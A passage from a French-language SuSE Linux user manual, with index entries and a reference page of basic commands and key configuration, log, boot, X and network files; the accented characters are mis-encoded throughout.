  37735.    Gestion de groupes  . . . . 112                  Volume de l'installation  . 94                   protΘger  . . . . . . . . . . *
  37736.  *. . . . 370
  37737.    Gestion utilisateurs  . . . . 111                xdm   . . . . . . . . . . . . . . . . . 109      rΘserver   . . . . . . . . . .*
  37738.  * . . . . 370
  37739.  
  37740.  
  37741. 586
  37742.  
  37743. RΘfΘrence  :  Commandes/fichiers  importants
  37744. Les  espaces  (angl.  blanks)  sont  essentiels  dans  les  commandes  en  tant  que
  37745.  
  37746. ``sΘparateurs''  et  doivent  par  consΘquent  Ωtre  entrΘs  avec  le  clavier  comme
  37747. ``caractΦres vides'' ! Voir aussi la lΘgende au paragraphe 1.3 page 6.
  37748.  
  37749.  
  37750. Information/documentation
  37751.  
  37752.   less  <nom_de_fichier>                        Voir le fichier texte
  37753.   cd  <rΘpertoire>                              Passe dans un rΘpertoire (erreur : cdRΘpertoire
  37754.                                                 ~ L'espace aprΦs cd   est absolument indispensable !)
  37755.   ls  -l  <rΘp_ou_fichier>                      Liste le contenu du rΘpertoire/les propriΘtΘs du fichier
  37756.   rpm  -qi  <paquetage>                         Information sur un paquetage
  37757.   man  <commande>                               Page de man concernant une commande
  37758.   /usr/doc/howto                                Les nombreux HOWTO sur tous les sujets
  37759.   /usr/doc/packages/*                           Documentation pour le paquetage concernΘ
  37760.   /usr/doc/packages/i4l/README.Quick
  37761.                                                 Documentation relative α ISDN
  37762.  
  37763.  
  37764. Fichiers de configuration et fichiers de traces (log) gΘnΘraux
  37765.  
  37766.   ~                                             Synonyme du rΘpertoire personnel
  37767.   /etc                                          RΘpertoire pour fichiers de configuration
  37768.   /etc/modules.conf                             Chargement automatique de modules
  37769.   /etc/rc.config                                Fichier de configuration principal SuSE     Linux
  37770.   /etc/rc.config.d                              RΘpertoire pour les composants de /etc/rc.config
  37771.   /etc/profile                                  Fichier de configuration du shell de login (bash )
  37772.   /etc/profile.d                                RΘpertoire pour les composants de /etc/profile
  37773.   ~/.profile                                    Extensions de l'utilisateur α /etc/profile
  37774.                                                 voir aussi ~/.bashrc et ~/.bashrc_login
  37775.  
  37776.  
  37777.   /var/log                                      RΘpertoire pour les logs du systΦme
  37778.   /var/log/messages                             Fichiers de traces gΘnΘraux du systΦme
  37779.   /var/log/boot.msg                             Messages de boot du noyau
  37780.  
  37781.  
  37782. DΘmarrage du systΦme
  37783.  
  37784.   /etc/lilo.conf                                Fichier de configuration LILO
  37785.   /sbin/init.d                                  RΘpertoire pour les scripts de dΘmarrage du systΦme
  37786.  
  37787.  
  37788. Configuration X
  37789.  
  37790.   /etc/XF86Config                               Fichier de configuration du serveur X
  37791.   ~/.X.err                                      Messages du serveur X
  37792.  
  37793.   /var/X11R6/bin/X --> /usr/X11R6/bin/XF86_xxxx                                            Le serveur X
  37794.  
  37795.  
  37796. RΘseau
  37797.  
  37798.   /sbin/ifconfig                                Afficher la configuration de l'interface rΘseau
  37799.   /sbin/route  -n                               Afficher la table de routage
  37800.   ping  <NumΘro  IP>                            Tester l'accessibilitΘ d'un h⌠te
  37801.